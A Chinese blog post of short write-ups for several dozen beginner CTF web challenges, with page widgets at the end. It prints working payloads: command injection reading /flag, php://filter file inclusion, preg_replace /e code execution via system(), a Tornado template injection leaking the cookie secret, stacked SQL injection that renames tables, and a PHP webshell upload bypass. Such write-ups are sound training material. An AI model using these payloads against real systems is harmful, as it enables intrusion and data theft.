部分ctf-web题解

目录

view_source

q3

Training-WWW-Robots

Ics-06

Get_post

PHP2

Robots

Backup

一个不能按的按钮

Weak auth

Simple php

Baby web

webshell

command_execution

Warmup

Simple js

[极客大挑战 2019]Havefun

[ACTF2020 新生赛]Include

[ACTF2020 新生赛]Exec

[极客大挑战 2019]Http

[极客大挑战 2019]Secret File

ics-05

[GXYCTF2019]Ping Ping Ping

[极客大挑战 2019]Knife

【极客大挑战 2019]Upload

[ACTF2020 新生赛]Upload

[RoarCTF 2019]Easy Calc

[ACTF2020 新生赛]BackupFile

[极客大挑战 2019]BuyFlag

[护网杯 2018]easy_tornado

MoeCTF 2022  ezphp

[强网杯 2019]随便注

[SUCTF 2019]EasySQL


view_source

q3

 

不能输入整数,反序列化

 

把类属性个数改为2即可

Training-WWW-Robots

Robots题目,构造payload后面加一个robot.txt

Ics-06

点击报表中心

4

用burp抓包,爆破

发现2333,构造payload

Get_post

PHP2

对admin两次url编码

Robots

空白

Backup

一个不能按的按钮

 

删除disabled

Weak auth

Bp爆破,用户名admin,密码123456

Simple php

使a=0且a成立,==弱类型比较,当转换结果相等就相等,所以可以给a任意输字母加数字或者纯字母组合,要使b不为数字字符串,并且使b>1234,可以b=1235a

Baby web

Bp抓包,修改请求头,改为index.php放行

webshell

直接用蚁剑连

得到flag

command_execution

输入127.0.0.1;find / -name flag.txt

输入cat /home/flag.txt

Warmup

查看源码,,构造payload,

主要看最后这段,判断的三个条件要同时满足:1.file非空  2.是字符串  3.满足emmm:checkFile这个函数

返回去看这个函数,第一次返回true,第一个if是满足字符串,第二个if是判断$page是否存在于whitelist这个白名单中,如果是则返回true,根据这个构造第一个payload,?file=source.php或者?file=hint.php,结果显示说明不在第一次返回true这里

查看第二次返回true

这个函数的意思就是取$page为“?”问号前面的字符串,然后继续判断是否存在于白名单中,要绕过这个检查,就要如下构造payload    ?file=source.php?  ,又根据上面提示flag在ffffllllaaaagggg这个文件中,所以?file=source.php?../../../../../ffffllllaaaagggg  (“../”是为了查找上一层目录,ffffllllaaaagggg是加了四倍,四个../就是向上查了四层,ffffllllaaaagggg是加了四倍,所以四个以上的“../”就行)

得到flag。

第二个返回true就成功了,实际上还有一次

跟上面一样,就是加了一个url解码,会对你输进去的进行一次解码,由于传参url自带一次解码,所以要进行两次url加密,这里对“?”问号url加密两次构造payload,?file=source.php%25%33%66../../../../../ffffllllaaaagggg得到flag与上次一样,所以两种payload都可以得到结果(实际上是三种,仅对?一次url加密也可以,因为传参url自带一次解码,实际上后端得到的仍然是第二次返回true时的结果)

Simple js

这么长一串这个是个16进制的密文,那个函数里面把这些赋值给了tab这个变量,先对这些解码,直接百度16进制解码在线工具解码,这个就是tab的值

那个split函数没有加长度就是全部,所以这些全部赋值给tab,tab2就是那个pass里面的,所以i=0,j=11,k=11+0+0,n=18,那个k=j+(l)+(n=0),括号里不是1,是l,然后循环

简单说就是tab2把那些值都ascii码转化为字母,下面那个循环也是一样,最后返回p,实际上最后返回的值都是但是会发现tab还没有用,把tab的值用ascii转化为文本

[极客大挑战 2019]Havefun

看源码这部分,直接传参得到flag

[ACTF2020 新生赛]Include

 

观察url发现应该是个文件包含漏洞,利用PHP伪协议,用php://filter构造payload,

?file=php://filter/read=convert.base64-encode/resource=flag.php

用base64解密得到flag

[ACTF2020 新生赛]Exec

命令注入,输入127.0.0.1;ls

发现可以成功,直接用cd翻目录  127.0.0.1;cd ../../../;ls

发现flag,用  127.0.0.1;cat /flag  找到flag

[极客大挑战 2019]Http

查看源码,有个文件,访问

提示不是图示网站访问,bp抓包修改请求头

继续修改UA,

提示只能本地读取,继续改xff 127.0.0.1

flag{2168b91a-8153-48a9-a577-66bd87dc402e}

[极客大挑战 2019]Secret File

源码里面有一段,访问,

点击后显示没有,在刚才那张里面,

Bp抓包后发现

访问得到

访问后的画面如图,猜测应该是个文件包含漏洞

构造payload

得到一串加密字符,放到base64解密后得到

ics-05

打开设备维护中心

看到一个,初步猜测文件包含漏洞构造payload ?page=php://filter/read=convert.base64-encode/resource=index.php

解密得到源码

提示需要抓包改ip

利用preg_replace函数漏洞构造payload

/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123直接寻找flag

再用index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123

得到flag

[GXYCTF2019]Ping Ping Ping

构造payload传入ip,发现可以成功

666,应该是存在过滤,想办法绕过

绕过空格后发现flag也被过滤

先查看一下index.php这个文件

发现好多符号,空格,flag,bash都被过滤,搜索一下好多中方法可以绕过过滤,这里来一个变量拼接成功绕过

查看源码

[极客大挑战 2019]Knife

如图一串一句话木马,试试直接用

【极客大挑战 2019]Upload

写一个一句话木马改为jpg传上去

Bp抓包改格式,加上这个php脚本绕过PHP检查

接下来用蚁剑链接,注意连接是url为原url后加上/upload/.phtml(一般都是这样)

[ACTF2020 新生赛]Upload

上传php后发现存在过滤,   改为phtml成功

[RoarCTF 2019]Easy Calc

看源码里面,访问

发现num不能传入字母,想办法绕过

构造如下payload?  num=var_dump(scandir(chr(47)))进行读取目录

再构造

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))相当于? num=system(cat /f1agg)

[ACTF2020 新生赛]BackupFile

根据提示猜测应该有备份,也可以用御剑扫描出来,url后面加上index.php.bak,下载来一个文件

根据源码,传入参数后显示只能为数字,所以进行一个绕过,仔细观察发现为==弱等于,则只要转换后结果相同则相同,直接构造如下payload得到flag

[极客大挑战 2019]BuyFlag

查看源码,里面有一段提示了密码

先抓包,改user为1,再用post传参password弱等于又不能为数字,那加个字母404a

显示,用科学计数法传money,得到flag

[护网杯 2018]easy_tornado

尝试先传入参数/file?filename=/fllllllllllllag&filehash={{1}},得到回显

提示传参格式,这道题要先获取cookie,再能继续按规定传参,既然msg=后面有注入点,我们注入error?msg={{handler.settings}}

成功获取cookie,接下来传入参数,根据hints.txt里面的提示进行MD5加密

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

file?filename=/fllllllllllllag&filehash=95bdae40f2e0720c502f9792a07f28e6

MoeCTF 2022  ezphp

研究了半天第一个if是没有flag就会输出$giveme,第二个if是flag不能===flag

查到是变量覆盖漏洞,经过实验发现get传进去的值会改变变量名,post传进去会改变变量内容,直接构造?1=flag&flag=1得到flag

实际使在flag不能===flag的情况下,还使flag为原值,借用新变量1当跳板

[强网杯 2019]随便注

提交1‘发现报错,存在注入点

发现只有2行,

发现有部分被过滤了,使用堆叠注入

查到数据库名,继续查表

查看第一个表的字段1'; show columns from `1919810931114514`; #

(表名为数字要用····` `·包起来)

有个字段名为flag所以总结一下

利用rename将words表的给改个名字,名字随意,讲1919810931114514表的名字改成words,应为会一次回显两个字段的信息,也就是id和data,那么我们就利用alter来修改新的words表,最后在利用1’ or 1=1#来回显全部内容得到到结果 。

因为查询是在words中查询id的,所以我们将表1919810931114514改名为words,将words改名为其余的名字。同时将flag属性改名为id属性,类型为varchar(100)
构造语句 0';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show tables;#

[SUCTF 2019]EasySQL

直接注入不能成功,使用堆叠注入1;show databases;#

注入1;show tables;#

后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 ||  一个列名 from 表名。(select 输入数据 || flag from Flag)

注入1;set sql_mode=PIPES_AS_CONCAT;select 1

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值